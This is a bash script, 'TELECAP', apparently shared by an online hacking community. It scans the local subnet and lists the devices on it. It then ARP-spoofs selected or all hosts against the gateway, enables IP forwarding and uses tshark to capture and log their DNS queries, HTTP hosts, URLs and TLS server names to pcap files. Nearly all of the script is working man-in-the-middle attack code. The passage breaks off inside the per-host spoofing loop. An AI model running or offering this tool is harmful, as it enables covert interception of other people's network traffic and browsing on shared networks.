u_capture

#!/bin/bash
# JOIN US: Undercode.help/Community
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
PURPLE='\033[0;35m'
NC='\033[0m' # No Color

# Configuration
USERNAME=$(whoami)
DESKTOP_PATH="/home/$USERNAME/Desktop"
CAPTURE_FILE="network_capture_$(date +%Y%m%d_%H%M%S).pcap"
FULL_CAPTURE_PATH="$DESKTOP_PATH/$CAPTURE_FILE"

# Check root privileges
if [ "$EUID" -ne 0 ]; then
    echo -e "${RED}[ERROR] Please run as root: sudo $0${NC}"
    exit 1
fi

# Function to display banner
show_banner() {
    echo -e "${CYAN}"
    echo "╔════════════════════════════════════════════════════╗"
    echo "║     TELECAP: Advanced Network Scanner & Monitor  ║"
    echo "║        MITM + Custom Filter + Live View + Saving   ║"
    echo "╚════════════════════════════════════════════════════╝"
    echo -e "${NC}"
}

# Function to configure custom filters
configure_filters() {
    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"
    echo -e "${YELLOW}               FILTER CONFIGURATION${NC}"
    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"

    echo -e "${BLUE}Select filter type:${NC}"
    echo -e "1. 🔍 No filter (capture ALL traffic)"
    echo -e "2. 🏢 Intel-specific (AMT, telemetry, domains)"
    echo -e "3. 🔵 AMD-specific (domains, updates)"
    echo -e "4. 🌐 HTTP/HTTPS & DNS only (websites, domains)"
    echo -e "5. 🛰️  Custom ports only"
    echo -e "6. 📝 Custom filter string"
    echo -e "7. 📱 Samsung telemetry & update endpoints"
    echo -e "8. 🖥️  NVIDIA (drivers / GeForce Experience / telemetry)"
    echo -e "9. 🍎 Apple (Apple & iCloud telemetry & tracking)"
    echo -e "10. 🔌 Cisco / Enterprise networking & telemetry"
    echo -e "11. 🔧 Broadcom / Firmware updates & telemetry"
    echo -e "${BLUE}Enter choice (1-11): ${NC}"
    read filter_choice

    case $filter_choice in
        1)
            CAPTURE_FILTER=""
            DISPLAY_FILTER=""
            FILTER_DESC="ALL traffic (no filter)"
            ;;

        2)
            # Enhanced Intel-specific filter with telemetry domains (single-line; tshark-friendly)
            CAPTURE_FILTER=""
            DISPLAY_FILTER='tcp.port==623 or tcp.port==664 or tcp.port==16992 or tcp.port==16993 or tcp.port==16994 or tcp.port==16995 or tcp.port==5900 or dns.qry.name contains "intel" or dns.qry.name contains "intel.com" or dns.qry.name contains "telemetry" or dns.qry.name contains "clr.telemetry.intel.com" or http.host contains "intel" or http.host contains "telemetry.intel.com" or http.host contains "sur.telemetry.intel.com" or http.host contains "clr.telemetry.intel.com" or http.host contains "policy.system-usage-report.intel.com" or tls.handshake.extensions_server_name contains "intel" or tls.handshake.extensions_server_name contains "telemetry" or tls.handshake.extensions_server_name contains "clr.telemetry.intel.com"'
            FILTER_DESC="Intel (AMT ports + telemetry & intel domains)"
            ;;

        3)
            # AMD-specific filter
            CAPTURE_FILTER=""
            DISPLAY_FILTER="dns.qry.name contains \"amd\" or http.host contains \"amd\" or tls.handshake.extensions_server_name contains \"amd\""
            FILTER_DESC="AMD (domains, updates)"
            ;;
        4)
            # HTTP/HTTPS & DNS only
            CAPTURE_FILTER=""
            DISPLAY_FILTER="http or dns or tls"
            FILTER_DESC="HTTP/HTTPS & DNS only"
            ;;
        5)
            # Custom ports
            echo -e "${YELLOW}Enter ports to monitor (comma-separated, e.g., 80,443,53):${NC}"
            read custom_ports
            CAPTURE_FILTER=""
            DISPLAY_FILTER=""
            IFS=',' read -ra PORTS <<< "$custom_ports"
            for port in "${PORTS[@]}"; do
                if [ -n "$DISPLAY_FILTER" ]; then
                    DISPLAY_FILTER="$DISPLAY_FILTER or tcp.port==$port or udp.port==$port"
                else
                    DISPLAY_FILTER="tcp.port==$port or udp.port==$port"
                fi
            done
            FILTER_DESC="Custom ports: $custom_ports"
            ;;
        6)
            # Custom filter string
            echo -e "${YELLOW}Enter custom tshark filter (e.g., 'host 192.168.1.1 and port 80'):${NC}"
            read custom_filter
            CAPTURE_FILTER=""
            DISPLAY_FILTER="$custom_filter"
            FILTER_DESC="Custom: $custom_filter"
            ;;
        7)
            DISPLAY_FILTER='tcp.port==80 or tcp.port==443 or tcp.port==5228 or tcp.port==5229 or tcp.port==5230 or tcp.port==5235 or tcp.port==5236 or dns.qry.name contains "samsung" or dns.qry.name contains "samsungads" or dns.qry.name contains "samsungcloud" or dns.qry.name contains "samsungknox" or dns.qry.name contains "secb2b" or dns.qry.name contains "samsunggsl" or dns.qry.name contains "ospserver" or dns.qry.name contains "samsungqbe" or dns.qry.name contains "samsungcdn" or http.host contains "samsung" or http.host contains "samsungads" or http.host contains "samsungcloud" or tls.handshake.extensions_server_name contains "samsung" or tls.handshake.extensions_server_name contains "samsungads" or tls.handshake.extensions_server_name contains "samsungknox"'
            FILTER_DESC="Samsung telemetry & update endpoints"
            ;;
        8)
            DISPLAY_FILTER='tcp.port==80 or tcp.port==443 or dns.qry.name contains "nvidia" or dns.qry.name contains "gfe.nvidia.com" or dns.qry.name contains "activation.gfe.nvidia.com" or dns.qry.name contains "subscription.gfe.nvidia.com" or dns.qry.name contains "api.gfe.nvidia.com" or dns.qry.name contains "services.gfe.nvidia.com" or dns.qry.name contains "events.gfe.nvidia.com" or dns.qry.name contains "ota-downloads.nvidia.com" or dns.qry.name contains "download.nvidia.com" or dns.qry.name contains "dl.nvidia.com" or dns.qry.name contains "gfn.nvidia.com" or http.host contains "nvidia" or http.host contains "gfe.nvidia.com" or http.host contains "download.nvidia.com" or tls.handshake.extensions_server_name contains "nvidia" or tls.handshake.extensions_server_name contains "gfe.nvidia.com"'
            FILTER_DESC="NVIDIA (drivers / GeForce Experience / telemetry & OTA endpoints)"
            ;;
        9)
            DISPLAY_FILTER='tcp.port==80 or tcp.port==443 or dns.qry.name contains "apple" or dns.qry.name contains "icloud" or dns.qry.name contains "mzstatic.com" or dns.qry.name contains "iadsdk.apple.com" or dns.qry.name contains "api-adservices.apple.com" or dns.qry.name contains "metrics.apple.com" or dns.qry.name contains "securemetrics.apple.com" or dns.qry.name contains "books-analytics-events.apple.com" or dns.qry.name contains "weather-analytics-events.apple.com" or dns.qry.name contains "notes-analytics-events.apple.com" or dns.qry.name contains "stocks-analytics-events.apple.com" or dns.qry.name contains "acfeedbackws.icloud.com" or dns.qry.name contains "feedbackws.icloud.com" or dns.qry.name contains "metrics.icloud.com" or http.host contains "apple" or http.host contains "icloud" or http.host contains "metrics.apple.com" or http.host contains "securemetrics.apple.com" or tls.handshake.extensions_server_name contains "apple" or tls.handshake.extensions_server_name contains "icloud" or tls.handshake.extensions_server_name contains "mzstatic.com"'
            FILTER_DESC="Apple (Apple & iCloud telemetry & tracking endpoints)"
            ;;
        10)
            DISPLAY_FILTER='tcp.port==80 or tcp.port==443 or dns.qry.name contains "cisco" or dns.qry.name contains "umbrella.cisco.com" or dns.qry.name contains "talosintel.com" or dns.qry.name contains "cloudapps.cisco.com" or dns.qry.name contains "appdynamics.saas.appdynamics.com" or dns.qry.name contains "cdn.appdynamics.com" or http.host contains "cisco" or http.host contains "umbrella.cisco.com" or http.host contains "talosintel.com" or tls.handshake.extensions_server_name contains "cisco" or tls.handshake.extensions_server_name contains "umbrella.cisco.com" or tls.handshake.extensions_server_name contains "talosintel.com"'
            FILTER_DESC="Cisco / Enterprise networking & telemetry endpoints"
            ;;
        11)
            DISPLAY_FILTER='tcp.port==80 or tcp.port==443 or dns.qry.name contains "broadcom" or dns.qry.name contains "broadcom-firmware" or dns.qry.name contains "firmware.broadcom.com" or dns.qry.name contains "update.broadcom.com" or dns.qry.name contains "bcmfirmware" or dns.qry.name contains "seamicro.broadcom.com" or dns.qry.name contains "avago" or dns.qry.name contains "enterprise.broadcom.com" or http.host contains "broadcom" or http.host contains "firmware.broadcom.com" or tls.handshake.extensions_server_name contains "broadcom" or tls.handshake.extensions_server_name contains "firmware.broadcom.com"'
            FILTER_DESC="Broadcom / Firmware updates & telemetry endpoints"
            ;;
        *)
            echo -e "${RED}[ERROR] Invalid choice. Using no filter.${NC}"
            CAPTURE_FILTER=""
            DISPLAY_FILTER=""
            FILTER_DESC="ALL traffic (default)"
            ;;
    esac

    echo -e "${GREEN}[+] Filter configured: $FILTER_DESC${NC}"
}

# Function to detect and select network interface
select_interface() {
    echo -e "${BLUE}[*] Detecting available network interfaces...${NC}"

    # Get all network interfaces (excluding lo)
    INTERFACES=($(ip link show | grep -E '^[0-9]+:' | awk -F: '{print $2}' | grep -v lo | sed 's/ //g'))

    if [ ${#INTERFACES[@]} -eq 0 ]; then
        echo -e "${RED}[ERROR] No network interfaces found!${NC}"
        exit 1
    fi

    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"
    echo -e "${YELLOW}                NETWORK INTERFACES${NC}"
    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"

    for i in "${!INTERFACES[@]}"; do
        IFACE=${INTERFACES[$i]}
        IP_ADDR=$(ip -4 addr show $IFACE 2>/dev/null | grep inet | awk '{print $2}' | cut -d'/' -f1)
        MAC_ADDR=$(ip link show $IFACE | grep link/ether | awk '{print $2}')
        STATUS=$(ip link show $IFACE | grep -q "state UP" && echo -e "${GREEN}UP${NC}" || echo -e "${RED}DOWN${NC}")

        if [ -z "$IP_ADDR" ]; then
            IP_ADDR="No IP"
        fi

        echo -e "$(($i+1)). $IFACE - IP: $IP_ADDR - MAC: $MAC_ADDR - Status: $STATUS"
    done

    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"

    while true; do
        echo -e "${BLUE}Select interface (1-${#INTERFACES[@]}): ${NC}"
        read choice

        if [[ $choice =~ ^[0-9]+$ ]] && [ $choice -ge 1 ] && [ $choice -le ${#INTERFACES[@]} ]; then
            SELECTED_INTERFACE=${INTERFACES[$(($choice-1))]}
            echo -e "${GREEN}[+] Selected interface: $SELECTED_INTERFACE${NC}"

            # Check if interface is up
            if ! ip link show $SELECTED_INTERFACE | grep -q "state UP"; then
                echo -e "${YELLOW}[!] Interface $SELECTED_INTERFACE is down. Attempting to bring it up...${NC}"
                ip link set $SELECTED_INTERFACE up
                sleep 2
            fi

            # Verify interface has IP
            IP_ADDR=$(ip -4 addr show $SELECTED_INTERFACE 2>/dev/null | grep inet | awk '{print $2}' | cut -d'/' -f1)
            if [ -z "$IP_ADDR" ]; then
                echo -e "${YELLOW}[!] No IP address on $SELECTED_INTERFACE. Using DHCP...${NC}"
                dhclient -v $SELECTED_INTERFACE 2>/dev/null &
                sleep 3
            fi

            break
        else
            echo -e "${RED}[ERROR] Invalid selection. Please choose 1-${#INTERFACES[@]}${NC}"
        fi
    done
}

# Function to detect network range
detect_network() {
    echo -e "${BLUE}[*] Detecting network configuration on $SELECTED_INTERFACE...${NC}"

    # Get IP and subnet
    IP_INFO=$(ip -4 addr show $SELECTED_INTERFACE | grep inet)
    if [ -z "$IP_INFO" ]; then
        echo -e "${RED}[ERROR] Cannot detect IP on interface $SELECTED_INTERFACE${NC}"
        echo -e "${YELLOW}[!] Try: dhclient $SELECTED_INTERFACE${NC}"
        exit 1
    fi

    MY_IP=$(echo $IP_INFO | awk '{print $2}' | cut -d'/' -f1)
    SUBNET=$(echo $MY_IP | cut -d'.' -f1-3)
    GATEWAY=$(ip route | grep default | grep $SELECTED_INTERFACE | awk '{print $3}')

    if [ -z "$GATEWAY" ]; then
        GATEWAY=$(ip route | grep default | awk '{print $3}' | head -1)
    fi

    echo -e "${GREEN}[+] Your IP: $MY_IP${NC}"
    echo -e "${GREEN}[+] Gateway: $GATEWAY${NC}"
    echo -e "${GREEN}[+] Subnet: $SUBNET.0/24${NC}"
    echo -e "${GREEN}[+] Interface: $SELECTED_INTERFACE${NC}"
}

# Function to scan network
scan_network() {
    echo -e "${BLUE}[*] Scanning network $SUBNET.0/24 on $SELECTED_INTERFACE...${NC}"

    # Clear previous results
    > /tmp/network_hosts.txt

    echo -e "${YELLOW}[*] Getting current ARP table...${NC}"
    arp -a | grep -v "incomplete" | awk '{gsub(/[()]/, "", $2); print $2, $4}' >> /tmp/network_hosts.txt

    echo -e "${YELLOW}[*] Performing ping sweep...${NC}"
    for i in {1..254}; do
        timeout 0.5 ping -c 1 -W 1 $SUBNET.$i | grep "bytes from" | awk '{print $4, $5}' | sed 's/://g' | sed 's/ (/ /g' | sed 's/)//g' >> /tmp/network_hosts.txt &
    done
    wait

    echo -e "${YELLOW}[*] Using arp-scan...${NC}"
    arp-scan --interface=$SELECTED_INTERFACE --localnet 2>/dev/null | grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}' | awk '{print $1, $2}' >> /tmp/network_hosts.txt

    # Remove duplicates, empty lines, and format
    grep -v '^$' /tmp/network_hosts.txt | awk '!seen[$1]++' | sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n > /tmp/network_hosts_clean.txt
    mv /tmp/network_hosts_clean.txt /tmp/network_hosts.txt

    # Remove gateway and our own IP from target list
    grep -v -E "$MY_IP|$GATEWAY" /tmp/network_hosts.txt > /tmp/network_hosts_targets.txt
    mv /tmp/network_hosts_targets.txt /tmp/network_hosts.txt

    # Number hosts for menu
    nl /tmp/network_hosts.txt > /tmp/network_hosts_menu.txt

    HOST_COUNT=$(wc -l < /tmp/network_hosts.txt)
    echo -e "${GREEN}[+] Found $HOST_COUNT hosts${NC}"

    if [ $HOST_COUNT -eq 0 ]; then
        echo -e "${RED}[ERROR] No hosts found on the network${NC}"
        echo -e "${YELLOW}[!] Check your connection and try again${NC}"
        exit 1
    fi
}

# Function to show WiFi scan results
show_wifi_scan() {
    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"
    echo -e "${YELLOW}                WHO IS ON MY WiFi${NC}"
    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"

    echo -e "${BLUE}[*] Scanning for WiFi devices...${NC}"

    # Get current network info
    echo -e "${CYAN}Network Information:${NC}"
    echo -e "Interface: $SELECTED_INTERFACE"
    echo -e "Your IP: $MY_IP"
    echo -e "Gateway: $GATEWAY"
    echo -e "Subnet: $SUBNET.0/24"
    echo -e ""

    # Show ARP table entries
    echo -e "${CYAN}Active Devices (ARP Table):${NC}"
    arp -a | grep -v "incomplete" | while read line; do
        IP=$(echo $line | awk '{gsub(/[()]/, "", $2); print $2}')
        MAC=$(echo $line | awk '{print $4}')
        if [ "$IP" != "$MY_IP" ] && [ "$IP" != "$GATEWAY" ]; then
            echo -e "  $IP - $MAC"
        fi
    done

    echo -e ""
    echo -e "${CYAN}Recently Discovered Devices:${NC}"
    if [ -f /tmp/network_hosts.txt ] && [ -s /tmp/network_hosts.txt ]; then
        cat /tmp/network_hosts.txt | while read line; do
            IP=$(echo $line | awk '{print $1}')
            MAC=$(echo $line | awk '{print $2}')
            echo -e "  $IP - $MAC"
        done
    else
        echo -e "  No devices found in recent scan"
    fi

    echo -e ""
    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"
    echo -e "${YELLOW}Press Enter to continue...${NC}"
    read
}

# Function to show menu
show_menu() {
    echo -e "\n${YELLOW}════════════════════════════════════════════════════${NC}"
    echo -e "${YELLOW}                  NETWORK HOSTS MENU${NC}"
    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"
    cat /tmp/network_hosts_menu.txt
    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"
    echo -e "${GREEN}0. Rescan network${NC}"
    echo -e "${GREEN}$(($HOST_COUNT+1)). Select ALL hosts${NC}"
    echo -e "${GREEN}$(($HOST_COUNT+2)). Change network interface${NC}"
    echo -e "${GREEN}$(($HOST_COUNT+3)). Change filter settings${NC}"
    echo -e "${GREEN}$(($HOST_COUNT+4)). Scan who is on my WiFi${NC}"
    echo -e "${RED}$(($HOST_COUNT+5)). EXIT${NC}"
    echo -e "${YELLOW}════════════════════════════════════════════════════${NC}"
}

# Function to start ARP spoofing
start_arp_spoof() {
    TARGET_IP=$1
    TARGET_MAC=$2

    echo -e "${BLUE}[*] Starting ARP spoofing for $TARGET_IP ($TARGET_MAC)...${NC}"

    # Start ARP spoof in background
    xterm -hold -e "arpspoof -i $SELECTED_INTERFACE -t $TARGET_IP $GATEWAY" &
    SPOOF_PID1=$!

    xterm -hold -e "arpspoof -i $SELECTED_INTERFACE -t $GATEWAY $TARGET_IP" &
    SPOOF_PID2=$!

    echo $SPOOF_PID1 >> /tmp/spoof_pids.txt
    echo $SPOOF_PID2 >> /tmp/spoof_pids.txt

    echo -e "${GREEN}[+] ARP spoofing started (PIDs: $SPOOF_PID1, $SPOOF_PID2)${NC}"
}

# Function to start packet capture with CUSTOM FILTERS
start_capture() {
    echo -e "${BLUE}[*] Configuring packet capture...${NC}"

    # Create desktop directory if it doesn't exist
    mkdir -p "$DESKTOP_PATH"

    echo -e "${GREEN}[+] Capture file: $FULL_CAPTURE_PATH${NC}"
    echo -e "${GREEN}[+] Active filter: $FILTER_DESC${NC}"

    if [ -n "$DISPLAY_FILTER" ]; then
        echo -e "${YELLOW}[*] Filter expression: $DISPLAY_FILTER${NC}"
    fi

    # Ask for capture mode
    echo -e "${YELLOW}Select capture mode:${NC}"
    echo -e "1. 📊 Live view ONLY (see filtered packets in real-time)"
    echo -e "2. 💾 Save to file ONLY ($DESKTOP_PATH)"
    echo -e "3. 🔄 BOTH live view AND save to file"
    echo -e "${BLUE}Enter choice (1-3): ${NC}"
    read capture_choice

    # Build tshark command based on filter
    if [ -n "$DISPLAY_FILTER" ]; then
        TSHARK_VIEW_CMD="tshark -i $SELECTED_INTERFACE -Y \"$DISPLAY_FILTER\" -l"
        TSHARK_SAVE_CMD="tshark -i $SELECTED_INTERFACE -w \"$FULL_CAPTURE_PATH\""
    else
        TSHARK_VIEW_CMD="tshark -i $SELECTED_INTERFACE -l"
        TSHARK_SAVE_CMD="tshark -i $SELECTED_INTERFACE -w \"$FULL_CAPTURE_PATH\""
    fi

    case $capture_choice in
        1)
            # Live view only with filter
            echo -e "${GREEN}[+] Starting LIVE view with filter: $FILTER_DESC${NC}"
            xterm -geometry 160x60 -hold -e \
                "echo '=== LIVE PACKET CAPTURE ==='; \
                 echo 'Interface: $SELECTED_INTERFACE'; \
                 echo 'Filter: $FILTER_DESC'; \
                 if [ -n '$DISPLAY_FILTER' ]; then echo 'Expression: $DISPLAY_FILTER'; fi; \
                 echo 'Press Ctrl+C to stop'; \
                 echo '=========================='; \
                 $TSHARK_VIEW_CMD" &
            TSHARK_PID=$!
            ;;
        2)
            # Save to file only
            echo -e "${GREEN}[+] Saving packets to: $FULL_CAPTURE_PATH${NC}"
            echo -e "${YELLOW}[*] Using filter: $FILTER_DESC${NC}"
            eval $TSHARK_SAVE_CMD &
            TSHARK_PID=$!
            ;;
        3)
            # Both live view and save to file
            echo -e "${GREEN}[+] Starting LIVE view AND saving to: $FULL_CAPTURE_PATH${NC}"
            echo -e "${YELLOW}[*] Using filter: $FILTER_DESC${NC}"

            # Start saving process
            eval $TSHARK_SAVE_CMD &
            TSHARK_SAVE_PID=$!

            # Start live view
            xterm -geometry 160x60 -hold -e \
                "echo '=== LIVE PACKET VIEW ==='; \
                 echo 'Interface: $SELECTED_INTERFACE'; \
                 echo 'Filter: $FILTER_DESC'; \
                 echo 'Saving to: $FULL_CAPTURE_PATH'; \
                 if [ -n '$DISPLAY_FILTER' ]; then echo 'Expression: $DISPLAY_FILTER'; fi; \
                 echo 'Press Ctrl+C to stop'; \
                 echo '========================'; \
                 $TSHARK_VIEW_CMD" &
            TSHARK_VIEW_PID=$!

            echo $TSHARK_SAVE_PID > /tmp/tshark_save_pid.txt
            echo $TSHARK_VIEW_PID > /tmp/tshark_view_pid.txt
            TSHARK_PID=$TSHARK_SAVE_PID
            ;;
        *)
            echo -e "${RED}[ERROR] Invalid choice. Using default (live view only)${NC}"
            xterm -geometry 160x60 -hold -e "$TSHARK_VIEW_CMD" &
            TSHARK_PID=$!
            ;;
    esac

    echo $TSHARK_PID > /tmp/tshark_pid.txt
    echo -e "${GREEN}[+] Packet capture started with filter: $FILTER_DESC${NC}"
}

# Function to start URL-focused live view with CUSTOM FILTER
start_url_monitor() {
    echo -e "${BLUE}[*] Starting URL and domain monitor...${NC}"

    # Build URL monitor command
    if [ -n "$DISPLAY_FILTER" ]; then
        URL_MONITOR_CMD="tshark -i $SELECTED_INTERFACE -Y \"($DISPLAY_FILTER) and (http or dns or tls)\" -l -T fields \
            -e frame.time \
            -e ip.src \
            -e ip.dst \
            -e dns.qry.name \
            -e http.host \
            -e http.request.uri \
            -e tls.handshake.extensions_server_name"
    else
        URL_MONITOR_CMD="tshark -i $SELECTED_INTERFACE -Y \"http or dns or tls\" -l -T fields \
            -e frame.time \
            -e ip.src \
            -e ip.dst \
            -e dns.qry.name \
            -e http.host \
            -e http.request.uri \
            -e tls.handshake.extensions_server_name"
    fi

    xterm -geometry 140x30 -hold -e \
        "echo '=== URL & DOMAIN MONITOR ==='; \
         echo 'Filter: $FILTER_DESC'; \
         echo 'Interface: $SELECTED_INTERFACE'; \
         echo 'Press Ctrl+C to stop'; \
         echo '============================'; \
         $URL_MONITOR_CMD | while read line; do \
             echo \"\$line\"; \
           done" &
    URL_MONITOR_PID=$!
    echo $URL_MONITOR_PID > /tmp/url_monitor_pid.txt
}

# Function to start detailed packet monitor with CUSTOM FILTER
start_detailed_monitor() {
    echo -e "${BLUE}[*] Starting detailed packet monitor...${NC}"

    if [ -n "$DISPLAY_FILTER" ]; then
        DETAILED_CMD="tshark -i $SELECTED_INTERFACE -Y \"$DISPLAY_FILTER\" -l -V"
    else
        DETAILED_CMD="tshark -i $SELECTED_INTERFACE -l -V"
    fi

    xterm -geometry 120x20 -hold -e \
        "echo '=== DETAILED PACKET ANALYSIS ==='; \
         echo 'Filter: $FILTER_DESC'; \
         echo 'Interface: $SELECTED_INTERFACE'; \
         echo 'Press Ctrl+C to stop'; \
         echo '=============================='; \
         $DETAILED_CMD" &
    DETAILED_PID=$!
    echo $DETAILED_PID > /tmp/detailed_pid.txt
}

# Function to show real-time packet summary
start_packet_monitor() {
    echo -e "${BLUE}[*] Starting packet rate monitor...${NC}"

    # Start packet counter in background
    (
        echo -e "${PURPLE}[Packet Monitor] Starting...${NC}"
        PACKET_COUNT=0
        while true; do
            if [ -f "/tmp/tshark_save_pid.txt" ] && kill -0 $(cat /tmp/tshark_save_pid.txt) 2>/dev/null; then
                if [ -f "$FULL_CAPTURE_PATH" ]; then
                    SIZE=$(du -h "$FULL_CAPTURE_PATH" | cut -f1)
                    NEW_COUNT=$(tshark -r "$FULL_CAPTURE_PATH" 2>/dev/null | wc -l 2>/dev/null || echo "0")
                    if [ $NEW_COUNT -ne $PACKET_COUNT ]; then
                        PACKET_COUNT=$NEW_COUNT
                        echo -e "${PURPLE}[Packet Monitor] File: $SIZE, Packets: $PACKET_COUNT, Filter: $FILTER_DESC${NC}"
                    fi
                fi
            fi
            sleep 3
        done
    ) &
    MONITOR_PID=$!
    echo $MONITOR_PID > /tmp/monitor_pid.txt
}

# Function to enable IP forwarding
enable_forwarding() {
    echo 1 > /proc/sys/net/ipv4/ip_forward
    echo -e "${GREEN}[+] IP forwarding enabled${NC}"
}

# Function to show monitoring status
show_status() {
    echo -e "\n${CYAN}════════════════════════════════════════════════════${NC}"
    echo -e "${CYAN}                   MONITORING ACTIVE${NC}"
    echo -e "${CYAN}════════════════════════════════════════════════════${NC}"
    echo -e "${GREEN}Interface: $SELECTED_INTERFACE${NC}"
    echo -e "${GREEN}Target(s): $SELECTED_HOSTS${NC}"
    echo -e "${GREEN}Active Filter: $FILTER_DESC${NC}"

    if [ -n "$DISPLAY_FILTER" ]; then
        echo -e "${YELLOW}Filter Expression: $DISPLAY_FILTER${NC}"
    fi

    if [ -f "$FULL_CAPTURE_PATH" ]; then
        echo -e "${GREEN}Capture file: $FULL_CAPTURE_PATH${NC}"
    else
        echo -e "${YELLOW}Capture: Live view only (no file)${NC}"
    fi

    echo -e "${YELLOW}Live packet viewing: ACTIVE${NC}"
    echo -e "${YELLOW}URL monitoring: ACTIVE${NC}"
    echo -e "${YELLOW}Press Enter to stop monitoring...${NC}"
    echo -e "${CYAN}════════════════════════════════════════════════════${NC}"
}

# Function to show capture summary
show_capture_summary() {
    if [ -f "$FULL_CAPTURE_PATH" ]; then
        echo -e "\n${GREEN}════════════════════════════════════════════════════${NC}"
        echo -e "${GREEN}                  CAPTURE SUMMARY${NC}"
        echo -e "${GREEN}════════════════════════════════════════════════════${NC}"

        SIZE=$(du -h "$FULL_CAPTURE_PATH" | cut -f1)
        PACKETS=$(tshark -r "$FULL_CAPTURE_PATH" 2>/dev/null | wc -l 2>/dev/null || echo "0")

        echo -e "File: $FULL_CAPTURE_PATH"
        echo -e "Size: $SIZE"
        echo -e "Total packets: $PACKETS"
        echo -e "Filter used: $FILTER_DESC"

        # Show domains found (if any)
        if [ -n "$DISPLAY_FILTER" ]; then
            FILTERED_PACKETS=$(tshark -r "$FULL_CAPTURE_PATH" -Y "$DISPLAY_FILTER" 2>/dev/null | wc -l 2>/dev/null || echo "0")
            echo -e "Filtered packets: $FILTERED_PACKETS"
        fi

        # Show top domains found
        echo -e "\n${YELLOW}Top domains found:${NC}"
        tshark -r "$FULL_CAPTURE_PATH" -Y "dns" -T fields -e dns.qry.name 2>/dev/null | sort | uniq -c | sort -rn | head -10 | while read count domain; do
            if [ -n "$domain" ]; then
                echo -e "  $count - $domain"
            fi
        done

        echo -e "${GREEN}════════════════════════════════════════════════════${NC}"
    fi
}

# Function to cleanup
cleanup() {
    echo -e "\n${RED}[!] Cleaning up...${NC}"

    # Kill ARP spoof processes
    if [ -f /tmp/spoof_pids.txt ]; then
        while read pid; do
            kill $pid 2>/dev/null
        done < /tmp/spoof_pids.txt
        rm /tmp/spoof_pids.txt
    fi

    # Kill tshark processes
    if [ -f /tmp/tshark_pid.txt ]; then
        kill $(cat /tmp/tshark_pid.txt) 2>/dev/null
        rm /tmp/tshark_pid.txt
    fi

    if [ -f /tmp/tshark_save_pid.txt ]; then
        kill $(cat /tmp/tshark_save_pid.txt) 2>/dev/null
        rm /tmp/tshark_save_pid.txt
    fi

    if [ -f /tmp/tshark_view_pid.txt ]; then
        kill $(cat /tmp/tshark_view_pid.txt) 2>/dev/null
        rm /tmp/tshark_view_pid.txt
    fi

    # Kill URL monitor
    if [ -f /tmp/url_monitor_pid.txt ]; then
        kill $(cat /tmp/url_monitor_pid.txt) 2>/dev/null
        rm /tmp/url_monitor_pid.txt
    fi

    # Kill detailed monitor
    if [ -f /tmp/detailed_pid.txt ]; then
        kill $(cat /tmp/detailed_pid.txt) 2>/dev/null
        rm /tmp/detailed_pid.txt
    fi

    # Kill monitor
    if [ -f /tmp/monitor_pid.txt ]; then
        kill $(cat /tmp/monitor_pid.txt) 2>/dev/null
        rm /tmp/monitor_pid.txt
    fi

    # Kill any remaining xterm processes from this script
    pkill -f "arpspoof -i $SELECTED_INTERFACE"
    pkill -f "tshark -i $SELECTED_INTERFACE"

    # Disable IP forwarding
    echo 0 > /proc/sys/net/ipv4/ip_forward
    echo -e "${GREEN}[+] IP forwarding disabled${NC}"

    # Clean ARP tables
    echo -e "${YELLOW}[*] Cleaning ARP tables...${NC}"
    arping -c 1 -I $SELECTED_INTERFACE $GATEWAY >/dev/null 2>&1 &

    # Show capture summary
    show_capture_summary

    echo -e "${GREEN}[+] Cleanup complete${NC}"
}

# Main function
main() {
    trap cleanup EXIT INT TERM

    show_banner

    # Set default filter
    CAPTURE_FILTER=""
    DISPLAY_FILTER=""
    FILTER_DESC="ALL traffic (no filter)"

    while true; do
        select_interface
        detect_network

        while true; do
            # Configure filters before scanning
            configure_filters
            scan_network
            show_menu

            echo -e "\n${BLUE}Enter your choice (0-$(($HOST_COUNT+5))): ${NC}"
            read choice

            case $choice in
                0)
                    echo -e "${YELLOW}[*] Rescanning network...${NC}"
                    continue
                    ;;
                $(($HOST_COUNT+1)))
                    echo -e "${YELLOW}[*] Selected ALL hosts${NC}"
                    SELECTED_HOSTS=$(cat /tmp/network_hosts.txt)
                    ;;
                $(($HOST_COUNT+2)))
                    echo -e "${YELLOW}[*] Changing network interface...${NC}"
                    break 2  # Break out of both inner and outer loops
                    ;;
                $(($HOST_COUNT+3)))
                    echo -e "${YELLOW}[*] Changing filter settings...${NC}"
                    break  # Break out of inner loop only to reconfigure filters
                    ;;
                $(($HOST_COUNT+4)))
                    echo -e "${YELLOW}[*] Scanning who is on WiFi...${NC}"
                    show_wifi_scan
                    continue
                    ;;
                $(($HOST_COUNT+5)))
                    echo -e "${RED}[*] Exiting...${NC}"
                    exit 0
                    ;;
                [1-9]*)
                    if [ $choice -le $HOST_COUNT ]; then
                        SELECTED_HOSTS=$(sed -n "${choice}p" /tmp/network_hosts.txt)
                        echo -e "${GREEN}[+] Selected: $SELECTED_HOSTS${NC}"
                    else
                        echo -e "${RED}[ERROR] Invalid selection${NC}"
                        continue
                    fi
                    ;;
                *)
                    echo -e "${RED}[ERROR] Invalid input${NC}"
                    continue
                    ;;
            esac

            # Confirm action
            echo -e "\n${YELLOW}Target(s): $SELECTED_HOSTS${NC}"
            echo -e "${YELLOW}Filter: $FILTER_DESC${NC}"
            echo -e "${RED}WARNING: This will perform ARP spoofing on selected hosts${NC}"
            echo -e "${YELLOW}Continue? (y/n): ${NC}"
            read confirm

            if [ "$confirm" != "y" ] && [ "$confirm" != "Y" ]; then
                continue
            fi

            # Enable forwarding
            enable_forwarding

            # Start packet capture with custom filter
            start_capture

            # Start URL monitor with custom filter
            start_url_monitor

            # Start detailed monitor with custom filter
            start_detailed_monitor

            # Start packet monitor
            start_packet_monitor

            # Start ARP spoofing for each selected host
            echo "$SELECTED_HOSTS" | while read line; do
